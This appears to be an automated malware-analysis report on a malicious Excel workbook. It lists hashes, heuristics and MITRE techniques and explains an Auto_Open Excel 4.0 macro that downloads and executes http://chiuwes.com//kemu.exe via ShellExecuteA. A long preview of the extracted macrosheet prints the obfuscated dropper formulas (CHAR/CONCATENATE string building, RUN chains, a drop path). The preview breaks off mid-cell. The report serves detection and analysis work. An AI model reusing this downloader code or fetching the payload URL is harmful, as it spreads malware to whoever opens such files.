Office (OOXML) malware analysis — malicious · f9ef72792e69f0d2

MALICIOUS

Office (OOXML)

51.4 KB Created: 2020-05-14 14:06:32 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07

MD5: 2bf229f275943dc3f9794e854b278e88 SHA-1: 9c1df54288e10d4c5c63f3825c10477d25d6ab58 SHA-256: f9ef72792e69f0d22cfa185495a359560fd5c5d5ccf9ec60eb97e316f43d987a

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like RUN to download and execute a second-stage payload from the URL http://chiuwes.com//kemu.exe. The presence of hidden sheets further suggests an attempt to conceal malicious activity.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 11 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://chiuwes.com//kemu.exe In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	55506 bytes
SHA-256: `0f2e521a67ca4453d3f4ae07a99c838aad29854e1b3c509f2d621d5206c5bb39`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E3D0E661-4EF6-442C-9EF4-EE01466BFF50}"><dimension ref="A6:IO1994"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="6" spans="94:94" x14ac:dyDescent="0.25"><c r="CP6" t="str"><f>CHAR($BL$394-262)</f><v>g</v></c></row><row r="18" spans="24:237" x14ac:dyDescent="0.25"><c r="GI18"><v>583</v></c></row><row r="19" spans="24:237" x14ac:dyDescent="0.25"><c r="X19"><v>14</v></c></row><row r="24" spans="24:237" x14ac:dyDescent="0.25"><c r="BO24"><v>532</v></c><c r="HV24"><v>56</v></c></row><row r="26" spans="24:237" x14ac:dyDescent="0.25"><c r="GT26"><v>346</v></c></row><row r="27" spans="24:237" x14ac:dyDescent="0.25"><c r="IC27"><v>33</v></c></row><row r="38" spans="105:243" x14ac:dyDescent="0.25"><c r="GW38"><v>149</v></c></row><row r="41" spans="105:243" x14ac:dyDescent="0.25"><c r="II41" t="b"><f>RUN($EX$1488)</f><v>0</v></c></row><row r="43" spans="105:243" x14ac:dyDescent="0.25"><c r="DA43" t="b"><f>RUN($FV$1907)</f><v>0</v></c></row><row r="52" spans="1:249" x14ac:dyDescent="0.25"><c r="AK52" t="str"><f>CHAR($BO$24-447)</f><v>U</v></c><c r="HL52"><v>36</v></c></row><row r="54" spans="1:249" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$AE$1037</f><v>http://chiuwes.com//kemu.exe</v></c><c r="IO54" t="b"><f>RUN($II$1678)</f><v>0</v></c></row><row r="56" spans="1:249" x14ac:dyDescent="0.25"><c r="DE56"><v>526</v></c></row><row r="60" spans="1:249" x14ac:dyDescent="0.25"><c r="GY60" t="b"><f>RUN($AU$1064)</f><v>0</v></c></row><row r="61" spans="1:249" x14ac:dyDescent="0.25"><c r="A61"><v>563</v></c><c r="CP61"><v>43</v></c></row><row r="63" spans="1:249" x14ac:dyDescent="0.25"><c r="CS63" t="str"><f>CHAR($GD$1511-533)</f><v>l</v></c></row><row r="64" spans="1:249" x14ac:dyDescent="0.25"><c r="G64" t="b"><f>RUN($FA$1130)</f><v>0</v></c></row><row r="67" spans="70:180" x14ac:dyDescent="0.25"><c r="BR67"><v>555</v></c></row><row r="70" spans="70:180" x14ac:dyDescent="0.25"><c r="DC70"><v>643</v></c></row><row r="73" spans="70:180" x14ac:dyDescent="0.25"><c r="FX73" t="b"><f>RUN($U$726)</f><v>0</v></c></row><row r="79" spans="70:180" x14ac:dyDescent="0.25"><c r="CF79" t="b"><f>RUN($IK$1596)</f><v>0</v></c></row><row r="83" spans="8:241" x14ac:dyDescent="0.25"><c r="I83" t="str"><f>CONCATENATE($FG$153)</f><v>Shell32</v></c></row><row r="85" spans="8:241" x14ac:dyDescent="0.25"><c r="R85"><v>338</v></c></row><row r="88" spans="8:241" x14ac:dyDescent="0.25"><c r="DN88" t="str"><f>CHAR($FN$253-50)</f><v>.</v></c><c r="IG88"><v>93</v></c></row><row r="89" spans="8:241" x14ac:dyDescent="0.25"><c r="CP89"><v>18</v></c></row><row r="94" spans="8:241" x14ac:dyDescent="0.25"><c r="EH94" t="str"><f>CHAR($BL$352-447)</f><v>r</v></c></row><row r="96" spans="8:241" x14ac:dyDescent="0.25"><c r="H96"><v>25</v></c></row><row r="97" spans="110:221" x14ac:dyDescent="0.25"><c r="FE97" t="str"><f>CHAR($AQ$1493-50)</f><v>/</v></c></row><row r="101" spans="110:221" x14ac:dyDescent="0.25"><c r="DF101"><v>24</v></c></row><row r="106" spans="110:221" x14ac:dyDescent="0.25"><c r="GR106"><v>335</v></c></row><row r="109" spans="110:221" x14ac:dyDescent="0.25"><c r="HM109"><v>149</v></c></row><row r="113" spans="80:246" x14ac:dyDescent="0.25"><c r="DV113"><v>23</v></c></row><row r="114" spans="80:246" x14ac:dyDescent="0.25"><c r="HM114"><v>86</v></c></row><row r="115" spans="80:246" x14ac:dyDescent="0.25"><c r="IL115" t="b"><f>RUN($IO$54)</f><v>0</v></c></row><row r="118" spans="80:246" x14ac:dyDescent="0.25"><c r="DD118"><v>94</v></c></row><row r="128" spans="80:246" x14ac:dyDescent="0.25"><c r="CB128" t="str"><f>CHAR($FT$503-447)</f><v>u</v></c></row><row r="130" spans="37:212" x14ac:dyDescent="0.25"><c r="AK130"><v>555</v></c></row><row r="134" spans="37:212" x14ac:dyDescent="0.25"><c r="BZ134"><v>54</v></c></row><row r="135" spans="37:212" x14ac:dyDescent="0.25"><c r="CL135" t="b"><f>RUN($EX$493)</f><v>0</v></c></row><row r="138" spans="37:212" x14ac:dyDescent="0.25"><c r="CX138"><v>159</v></c><c r="GS138" t="b"><f>RUN($II$41)</f><v>0</v></c><c r="HD138" t="str"><f>CHAR($AW$443-533)</f><v>N</v></c></row><row r="146" spans="13:223" x14ac:dyDescent="0.25"><c r="GX146" t="b"><f>RUN($CQ$193)</f><v>0</v></c></row><row r="148" spans="13:223" x14ac:dyDescent="0.25"><c r="HO148"><v>79</v></c></row><row r="152" spans="13:223" x14ac:dyDescent="0.25"><c r="AB152" t="str"><f>CHAR($B$1427-262)</f><v>h</v></c></row><row r="153" spans="13:223" x14ac:dyDescent="0.25"><c r="M153" t="str"><f>CHAR($FE$1691-447)</f><v>R</v></c><c r="FG153" t="str"><f>CONCATENATE($T$573,$BR$867,$FT$1833,$FR$1388,$CS$63,$DE$1014,$II$710)</f><v>Shell32</v></c></row><row r="155" spans="13:223" x14ac:dyDescent="0.25"><c r="BQ155"><v>548</v></c></row><row r="158" spans="13:223" x14ac:dyDescent="0.25"><c r="BT158"><v>637</v></c></row><row r="161" spans="33:184" x14ac:dyDescent="0.25"><c r="DV161"><v>16</v></c></row><row r="164" spans="33:184" x14ac:dyDescent="0.25"><c r="BM164"><v>531</v></c><c r="GB164"><v>154</v></c></row><row r="168" spans="33:184" x14ac:dyDescent="0.25"><c r="AG168" t="b"><f>RUN($F$765)</f><v>0</v></c></row><row r="178" spans="1:202" x14ac:dyDescent="0.25"><c r="A178"><v>78</v></c></row><row r="182" spans="1:202" x14ac:dyDescent="0.25"><c r="GT182" t="b"><f>RUN($BG$561)</f><v>0</v></c></row><row r="187" spans="1:202" x14ac:dyDescent="0.25"><c r="CX187" t="str"><f>CHAR($FC$1257-533)</f><v>O</v></c><c r="ES187"><v>64</v></c></row><row r="193" spans="95:245" x14ac:dyDescent="0.25"><c r="CQ193" t="b"><f>RUN($EF$673)</f><v>0</v></c></row><row r="202" spans="95:245" x14ac:dyDescent="0.25"><c r="DO202"><v>86</v></c><c r="FX202"><v>30</v></c></row><row r="203" spans="95:245" x14ac:dyDescent="0.25"><c r="DB203"><v>15</v></c><c r="GV203" t="b"><f>RUN($HZ$1711)</f><v>0</v></c><c r="IK203" t="str"><f>CONCATENATE($CK$589,$EX$958)</f><v>C:\GLITWlH\IRbWzPi\hfZroLg.exe</v></c></row><row r="209" spans="85:172" x14ac:dyDescent="0.25"><c r="CG209"><v>157</v></c></row><row r="211" spans="85:172" x14ac:dyDescent="0.25"><c r="ES211" t="str"><f>CHAR($AW$882-50)</f><v>/</v></c></row><row r="219" spans="85:172" x14ac:dyDescent="0.25"><c r="FP219"><v>2</v></c></row><row r="223" spans="85:172" x14ac:dyDescent="0.25"><c r="FP223" t="str"><f>CHAR($HV$796-447)</f><v>A</v></c></row><row r="226" spans="31:212" x14ac:dyDescent="0.25"><c r="AM226" t="str"><f>CONCATENATE($AR$412)</f><v>ShellExecuteA</v></c><c r="FT226" t="str"><f>CHAR($BW$927-262)</f><v>i</v></c></row><row r="227" spans="31:212" x14ac:dyDescent="0.25"><c r="AU227"><v>151</v></c></row><row r="233" spans="31:212" x14ac:dyDescent="0.25"><c r="HD233"><v>634</v></c></row><row r="235" spans="31:212" x14ac:dyDescent="0.25"><c r="GM235"><v>84</v></c></row><row r="236" spans="31:212" x14ac:dyDescent="0.25"><c r="BL236"><v>548</v></c><c r="DZ236" t="str"><f>CHAR($DB$1397-50)</f><v>t</v></c></row><row r="239" spans="31:212" x14ac:dyDescent="0.25"><c r="AE239"><v>12</v></c></row><row r="241" spans="97:226" x14ac:dyDescent="0.25"><c r="ER241"><v>96</v></c></row><row r="245" spans="97:226" x14ac:dyDescent="0.25"><c r="EW245" t="str"><f>CHAR($EC$1517-447)</f><v>a</v></c></row><row r="249" spans="97:226" x14ac:dyDescent="0.25"><c r="DW249" t="b"><f>RUN($DC$480)</f><v>0</v></c></row><row r="250" spans="97:226" x14ac:dyDescent="0.25"><c r="CZ250" t="b"><f>RUN($CK$1286)</f><v>0</v></c></row><row r="252" spans="97:226" x14ac:dyDescent="0.25"><c r="CS252" t="b"><f>RUN($BE$739)</f><v>0</v></c></row><row r="253" spans="97:226" x14ac:dyDescent="0.25"><c r="FN253"><v>96</v></c><c r="HR253" t="str"><f>CHAR($AA$745-262)</f><v>W</v></c></row><row r="258" spans="12:208" x14ac:dyDescent="0.25"><c r="GZ258"><v>70</v></c></row><row r="260" spans="12:208" x14ac:dyDescent="0.25"><c r="AL260" t="b"><f>RUN($CH$708)</f><v>0</v></c></row><row r="264" spans="12:208" x14ac:dyDescent="0.25"><c r="CN264"><v>68</v></c></row><row r="265" spans="12:208" x14ac:dyDescent="0.25"><c r="ES265"><v>616</v></c></row><row r="268" spans="12:208" x14ac:dyDescent="0.25"><c r="DG268"><v>370</v></c></row><row r="269" spans="12:208" x14ac:dyDescent="0.25"><c r="L269"><v>516</v></c><c r="AP269" t="str"><f>CHAR($FF$866-262)</f><v>\</v></c></row><row r="270" spans="12:208" x14ac:dyDescent="0.25"><c r="AP270"><v>60</v></c></row><row r="274" spans="120:249" x14ac:dyDescent="0.25"><c r="DP274" t="str"><f>CHAR($EN$1584-533)</f><v>U</v></c></row><row r="284" spans="120:249" x14ac:dyDescent="0.25"><c r="IO284"><v>9</v></c></row><row r="295" spans="33:192" x14ac:dyDescent="0.25"><c r="EY295"><v>18</v></c></row><row r="296" spans="33:192" x14ac:dyDescent="0.25"><c r="EJ296" t="b"><f>RUN($IG$1047)</f><v>0</v></c></row><row r="298" spans="33:192" x14ac:dyDescent="0.25"><c r="AG298"><v>62</v></c></row><row r="304" spans="33:192" x14ac:dyDescent="0.25"><c r="GJ304" t="b"><f>RUN($GG$1580)</f><v>0</v></c></row><row r="306" spans="196:248" x14ac:dyDescent="0.25"><c r="HV306" t="b"><f>RUN($BJ$452)</f><v>0</v></c></row><row r="308" spans="196:248" x14ac:dyDescent="0.25"><c r="HD308" t="str"><f>CHAR($GA$1325-262)</f><v>e</v></c></row><row r="311" spans="196:248" x14ac:dyDescent="0.25"><c r="IN311" t="b"><f>RUN($DQ$1381)</f><v>0</v></c></row><row r="317" spans="196:248" x14ac:dyDescent="0.25"><c r="HD317" t="str"><f>CHAR($T$812-50)</f><v>/</v></c></row><row r="320" spans="196:248" x14ac:dyDescent="0.25"><c r="GN320" t="b"><f>RUN($FG$415)</f><v>0</v></c></row><row r="330" spans="57:188" x14ac:dyDescent="0.25"><c r="BE330"><v>99</v></c></row><row r="334" spans="57:188" x14ac:dyDescent="0.25"><c r="GF334" t="b"><f>RUN($EJ$296)</f><v>0</v></c></row><row r="337" spans="30:207" x14ac:dyDescent="0.25"><c r="AD337"><v>96</v></c></row><row r="345" spans="30:207" x14ac:dyDescent="0.25"><c r="GW345" t="str"><f>CHAR($AR$1957-533)</f><v>M</v></c></row><row r="347" spans="30:207" x14ac:dyDescent="0.25"><c r="GY347" t="str"><f>CHAR($CJ$1802-50)</f><v>e</v></c></row><row r="349" spans="30:207" x14ac:dyDescent="0.25"><c r="FE349" t="str"><f>CHAR($F$1583-447)</f><v>n</v></c></row><row r="352" spans="30:207" x14ac:dyDescent="0.25"><c r="BL352"><v>561</v></c></row><row r="358" spans="139:245" x14ac:dyDescent="0.25"><c r="GG358" t="str"><f>CHAR($HL$1192-447)</f><v>n</v></c></row><row r="363" spans="139:245" x14ac:dyDescent="0.25"><c r="IK363" t="b"><f>RUN($AI$1613)</f><v>0</v></c></row><row r="365" spans="139:245" x14ac:dyDescent="0.25"><c r="EI365"><v>76</v></c></row><row r="381" spans="92:154" x14ac:dyDescent="0.25"><c r="CN381" t="b"><f>RUN($FL$459)</f><v>0</v></c><c r="EX381"><v>169</v></c></row><row r="382" spans="92:154" x14ac:dyDescent="0.25"><c r="EN382" t="b"><f>RUN($Z$906)</f><v>0</v></c></row><row r="385" spans="64:245" x14ac:dyDescent="0.25"><c r="DV385"><v>18</v></c></row><row r="386" spans="64:245" x14ac:dyDescent="0.25"><c r="EG386" t="b"><f>RUN($GB$1056)</f><v>0</v></c></row><row r="387" spans="64:245" x14ac:dyDescent="0.25"><c r="HR387"><v>567</v></c></row><row r="394" spans="64:245" x14ac:dyDescent="0.25"><c r="BL394"><v>365</v></c></row><row r="396" spans="64:245" x14ac:dyDescent="0.25"><c r="IK396" t="str"><f>CHAR($BL$794-447)</f><v>i</v></c></row><row r="399" spans="64:245" x14ac:dyDescent="0.25"><c r="CK399"><v>563</v></c></row><row r="402" spans="25:190" x14ac:dyDescent="0.25"><c r="Y402"><v>342</v></c></row><row r="407" spans="25:190" x14ac:dyDescent="0.25"><c r="DJ407"><v>70</v></c></row><row r="408" spans="25:190" x14ac:dyDescent="0.25"><c r="BO408"><v>94</v></c></row><row r="411" spans="25:190" x14ac:dyDescent="0.25"><c r="GH411" t="b"><f>RUN($GT$182)</f><v>0</v></c></row><row r="412" spans="25:190" x14ac:dyDescent="0.25"><c r="AR412" t="str"><f>CONCATENATE($HP$1061,$BI$1715,$GH$1829,$DG$434,$CW$939,$FT$1061,$AW$1742,$II$784,$BA$578,$CB$128,$EU$1443,$GY$1679,$FP$223)</f><v>ShellExecuteA</v></c></row><row r="413" spans="25:190" x14ac:dyDescent="0.25"><c r="DB413"><v>29</v></c><c r="ES413" t="str"><f>CONCATENATE($BH$1766,$FU$563,$N$1758,$CY$752,$GJ$1864,$AN$657,$ED$596,$AB$1391,$EH$94,$EW$1543,$IG$571,$BG$1073,$HK$891,$EG$1723,$EF$682,$HZ$652)</f><v>CreateDirectoryA</v></c></row><row r="414" spans="25:190" x14ac:dyDescent="0.25"><c r="FY414" t="b"><f>RUN($AL$260)</f><v>0</v></c></row><row r="415" spans="25:190" x14ac:dyDescent="0.25"><c r="FG415" t="b"><f>RUN($BY$842)</f><v>0</v></c></row><row r="429" spans="166:237" x14ac:dyDescent="0.25"><c r="HC429" t="b"><f>RUN($EG$1071)</f><v>0</v></c></row><row r="430" spans="166:237" x14ac:dyDescent="0.25"><c r="FJ430"><v>24</v></c></row><row r="432" spans="166:237" x14ac:dyDescent="0.25"><c r="IC432" t="str"><f>CHAR($FC$1451-447)</f><v>o</v></c></row><row r="434" spans="11:148" x14ac:dyDescent="0.25"><c r="DG434" t="str"><f>CHAR($BD$1537-447)</f><v>l</v></c></row><row r="438" spans="11:148" x14ac:dyDescent="0.25"><c r="K438" t="b"><f>RUN($HW$1550)</f><v>0</v></c><c r="EI438"><v>583</v></c></row><row r="441" spans="11:148" x14ac:dyDescent="0.25"><c r="BX441" t="str"><f>CHAR($EI$438-533)</f><v>2</v></c><c r="CH441"><v>352</v></c></row><row r="443" spans="11:148" x14ac:dyDescent="0.25"><c r="AW443"><v>611</v></c></row><row r="446" spans="11:148" x14ac:dyDescent="0.25"><c r="ER446" t="str"><f>CHAR($GO$1260-50)</f><v>o</v></c></row><row r="450" spans="31:168" x14ac:dyDescent="0.25"><c r="AE450"><v>70</v></c></row><row r="452" spans="31:168" x14ac:dyDescent="0.25"><c r="BJ452" t="b"><f>RUN($BH$639)</f><v>0</v></c></row><row r="455" spans="31:168" x14ac:dyDescent="0.25"><c r="EE455"><v>338</v></c></row><row r="456" spans="31:168" x14ac:dyDescent="0.25"><c r="EW456" t="str"><f>CHAR($BL$236-447)</f><v>e</v></c></row><row r="459" spans="31:168" x14ac:dyDescent="0.25"><c r="FL459" t="b"><f>RUN($AE$1794)</f><v>0</v></c></row><row r="466" spans="40:183" x14ac:dyDescent="0.25"><c r="AN466"><v>170</v></c></row><row r="470" spans="40:183" x14ac:dyDescent="0.25"><c r="GA470"><v>35</v></c></row><row r="480" spans="40:183" x14ac:dyDescent="0.25"><c r="DC480" t="b"><f>RUN($DO$532)</f><v>0</v></c></row><row r="484" spans="24:180" x14ac:dyDescent="0.25"><c r="X484" t="b"><f>RUN($CF$79)</f><v>0</v></c></row><row r="485" spans="24:180" x14ac:dyDescent="0.25"><c r="EW485"><v>558</v></c></row><row r="491" spans="24:180" x14ac:dyDescent="0.25"><c r="BC491" t="b"><f>RUN($DA$43)</f><v>0</v></c></row><row r="492" spans="24:180" x14ac:dyDescent="0.25"><c r="FX492"><v>363</v></c></row><row r="493" spans="24:180" x14ac:dyDescent="0.25"><c r="EX493" t="b"><f>RUN($ES$1137)</f><v>0</v></c></row><row r="501" spans="27:189" x14ac:dyDescent="0.25"><c r="GG501"><v>15</v></c></row><row r="503" spans="27:189" x14ac:dyDescent="0.25"><c r="FT503"><v>564</v></c></row><row r="510" spans="27:189" x14ac:dyDescent="0.25"><c r="AA510" t="str"><f>CHAR($DC$70-533)</f><v>n</v></c></row><row r="514" spans="5:56" x14ac:dyDescent="0.25"><c r="AD514"><v>87</v></c></row><row r="516" spans="5:56" x14ac:dyDescent="0.25"><c r="BD516" t="str"><f>CHAR($BM$164-447)</f><v>T</v></c></row><row r="527" spans="5:56" x14ac:dyDescent="0.25"><c r="E527"><v>517</v></c></row><row r="529" spans="8:221" x14ac:dyDescent="0.25"><c r="FY529" t="str"><f>CHAR($FX$492-262)</f><v>e</v></c></row><row r="531" spans="8:221" x14ac:dyDescent="0.25"><c r="H531"><v>78</v></c></row><row r="532" spans="8:221" x14ac:dyDescent="0.25"><c r="DO532" t="b"><f>RUN($EH$681)</f><v>0</v></c></row><row r="535" spans="8:221" x14ac:dyDescent="0.25"><c r="Q535" t="b"><f>RUN($K$1412)</f><v>0</v></c></row><row r="537" spans="8:221" x14ac:dyDescent="0.25"><c r="HM537" t="str"><f>CHAR($EM$1613-262)</f><v>\</v></c></row><row r="546" spans="96:233" x14ac:dyDescent="0.25"><c r="EF546"><v>81</v></c><c r="EM546" t="str"><f>CHAR($AN$466-50)</f><v>x</v></c></row><row r="547" spans="96:233" x14ac:dyDescent="0.25"><c r="HX547" t="b"><f>RUN($HR$653)</f><v>0</v></c></row><row r="553" spans="96:233" x14ac:dyDescent="0.25"><c r="HY553" t="b"><f>RUN($Q$535)</f><v>0</v></c></row><row r="556" spans="96:233" x14ac:dyDescent="0.25"><c r="CR556" t="str"><f>CHAR($GR$1877-50)</f><v>m</v></c></row><row r="561" spans="20:241" x14ac:dyDescent="0.25"><c r="BG561" t="b"><f>RUN($CS$252)</f><v>0</v></c></row><row r="563" spans="20:241" x14ac:dyDescent="0.25"><c r="FU563" t="str"><f>CHAR($DI$730-447)</f><v>r</v></c></row><row r="564" spans="20:241" x14ac:dyDescent="0.25"><c r="BA564"><v>99</v></c></row><row r="565" spans="20:241" x14ac:dyDescent="0.25"><c r="AX565"><v>51</v></c></row><row r="571" spans="20:241" x14ac:dyDescent="0.25"><c r="IG571" t="str"><f>CHAR($GW$1954-447)</f><v>c</v></c></row><row r="572" spans="20:241" x14ac:dyDescent="0.25"><c r="BK572"><v>22</v></c></row><row r="573" spans="20:241" x14ac:dyDescent="0.25"><c r="T573" t="str"><f>CHAR($ES$265-533)</f><v>S</v></c></row><row r="575" spans="20:241" x14ac:dyDescent="0.25"><c r="AD575"><v>615</v></c></row><row r="578" spans="39:98" x14ac:dyDescent="0.25"><c r="BA578" t="str"><f>CHAR($GW$1668-447)</f><v>c</v></c></row><row r="583" spans="39:98" x14ac:dyDescent="0.25"><c r="CT583" t="str"><f>CONCATENATE($EP$1923)</f><v>Kernel32</v></c></row><row r="589" spans="39:98" x14ac:dyDescent="0.25"><c r="CK589" t="str"><f>CONCATENATE($HB$1784,$N$1584,$HM$537,$HT$1202,$R$688,$DQ$1348,$GU$1462,$HR$253,$ID$1462,$CE$1827,$K$1132,$BP$656,$EF$1581,$BJ$1180,$FZ$871,$FQ$1940,$IN$807,$FT$226,$AP$269,$AB$152,$EU$1718,$AM$590,$FV$1734,$GJ$1051,$GG$1658,$CP$6,$HT$1656,$HD$308,$DZ$1025)</f><v>C:\GLITWlH\IRbWzPi\hfZroLg.ex</v></c></row><row r="590" spans="39:98" x14ac:dyDescent="0.25"><c r="AM590" t="str"><f>CHAR($CH$441-262)</f><v>Z</v></c></row><row r="596" spans="83:248" x14ac:dyDescent="0.25"><c r="ED596" t="str"><f>CHAR($ID$1691-447)</f><v>D</v></c></row><row r="597" spans="83:248" x14ac:dyDescent="0.25"><c r="HS597"><v>335</v></c></row><row r="599" spans="83:248" x14ac:dyDescent="0.25"><c r="GP599"><v>8</v></c></row><row r="601" spans="83:248" x14ac:dyDescent="0.25"><c r="CE601" t="b"><f>RUN($DH$1044)</f><v>0</v></c></row><row r="606" spans="83:248" x14ac:dyDescent="0.25"><c r="IN606"><v>27</v></c></row><row r="610" spans="13:13" x14ac:dyDescent="0.25"><c r="M610"><v>9</v></c></row><row r="639" spans="60:60" x14ac:dyDescent="0.25"><c r="BH639" t="b"><f>RUN($AO$842)</f><v>0</v></c></row><row r="644" spans="33:234" x14ac:dyDescent="0.25"><c r="AG644"><v>548</v></c></row><row r="645" spans="33:234" x14ac:dyDescent="0.25"><c r="ET645"><v>91</v></c></row><row r="652" spans="33:234" x14ac:dyDescent="0.25"><c r="HZ652" t="str"><f>CHAR($CA$1229-447)</f><v>A</v></c></row><row r="653" spans="33:234" x14ac:dyDescent="0.25"><c r="HM653" t="str"><f>CHAR($GA$876-447)</f><v>w</v></c><c r="HR653" t="b"><f>RUN($DE$1431)</f><v>0</v></c></row><row r="656" spans="33:234" x14ac:dyDescent="0.25"><c r="BP656" t="str"><f>CHAR($HS$597-262)</f><v>I</v></c></row><row r="657" spans="40:230" x14ac:dyDescent="0.25"><c r="AN657" t="str"><f>CHAR($AG$644-447)</f><v>e</v></c></row><row r="660" spans="40:230" x14ac:dyDescent="0.25"><c r="GC660"><v>382</v></c></row><row r="665" spans="40:230" x14ac:dyDescent="0.25"><c r="HV665" t="b"><f>RUN($K$438)</f><v>0</v></c></row><row r="673" spans="18:138" x14ac:dyDescent="0.25"><c r="EF673" t="b"><f>RUN($FM$876)</f><v>0</v></c></row><row r="681" spans="18:138" x14ac:dyDescent="0.25"><c r="EH681" t="b"><f>RUN($EW$920)</f><v>0</v></c></row><row r="682" spans="18:138" x14ac:dyDescent="0.25"><c r="EF682" t="str"><f>CHAR($BW$1149-447)</f><v>y</v></c></row><row r="683" spans="18:138" x14ac:dyDescent="0.25"><c r="AE683" t="str"><f>CONCATENATE($IH$1966,$DZ$236,$BF$897,$C$1508,$BU$1389,$FE$97,$HD$317,$FW$1003,$CD$1131,$EG$1585,$J$1527,$FB$1779,$GY$347,$II$1543,$DN$88,$J$718,$ER$446,$DN$1474,$HX$1435,$ES$211,$BS$821,$BK$1088,$CR$556,$IC$1310,$FC$1757,$DW$807,$EM$546,$CY$1516)</f><v>http://chiuwes.com//kemu.exe</v></c></row><row r="687" spans="18:138" x14ac:dyDescent="0.25"><c r="CI687"><v>37</v></c></row><row r="688" spans="18:138" x14ac:dyDescent="0.25"><c r="R688" t="str"><f>CHAR($R$85-262)</f><v>L</v></c></row><row r="691" spans="73:235" x14ac:dyDescent="0.25"><c r="IA691" t="b"><f>RUN($X$484)</f><v>0</v></c></row><row r="693" spans="73:235" x14ac:dyDescent="0.25"><c r="BU693"><v>7</v></c></row><row r="707" spans="1:243" x14ac:dyDescent="0.25"><c r="A707"><v>96</v></c></row><row r="708" spans="1:243" x14ac:dyDescent="0.25"><c r="CH708" t="b"><f>RUN($AI$1514)</f><v>0</v></c><c r="GO708" t="str"><f>CHAR($HS$1254-533)</f><v>L</v></c></row><row r="710" spans="1:243" x14ac:dyDescent="0.25"><c r="II710" t="str"><f>CHAR($GI$18-533)</f><v>2</v></c></row><row r="715" spans="1:243" x14ac:dyDescent="0.25"><c r="HS715"><v>65</v></c></row><row r="718" spans="1:243" x14ac:dyDescent="0.25"><c r="J718" t="str"><f>CHAR($HM$109-50)</f><v>c</v></c></row><row r="720" spans="1:243" x14ac:dyDescent="0.25"><c r="AH720"><v>32</v></c></row><row r="726" spans="21:113" x14ac:dyDescent="0.25"><c r="U726" t="b"><f>RUN($CN$1681)</f><v>0</v></c></row><row r="730" spans="21:113" x14ac:dyDescent="0.25"><c r="DI730"><v>561</v></c></row><row r="739" spans="27:103" x14ac:dyDescent="0.25"><c r="BE739" t="b"><f>RUN($I$1056)</f><v>0</v></c></row><row r="745" spans="27:103" x14ac:dyDescent="0.25"><c r="AA745"><v>349</v></c></row><row r="752" spans="27:103" x14ac:dyDescent="0.25"><c r="CY752" t="str"><f>CHAR($GE$1656-447)</f><v>a</v></c></row><row r="757" spans="6:196" x14ac:dyDescent="0.25"><c r="FP757"><v>65</v></c></row><row r="762" spans="6:196" x14ac:dyDescent="0.25"><c r="FD762"><v>71</v></c></row><row r="764" spans="6:196" x14ac:dyDescent="0.25"><c r="GN764"><v>53</v></c></row><row r="765" spans="6:196" x14ac:dyDescent="0.25"><c r="F765" t="b"><f>RUN($DJ$1145)</f><v>0</v></c></row><row r="774" spans="12:243" x14ac:dyDescent="0.25"><c r="HS774"><v>37</v></c></row><row r="778" spans="12:243" x14ac:dyDescent="0.25"><c r="L778" 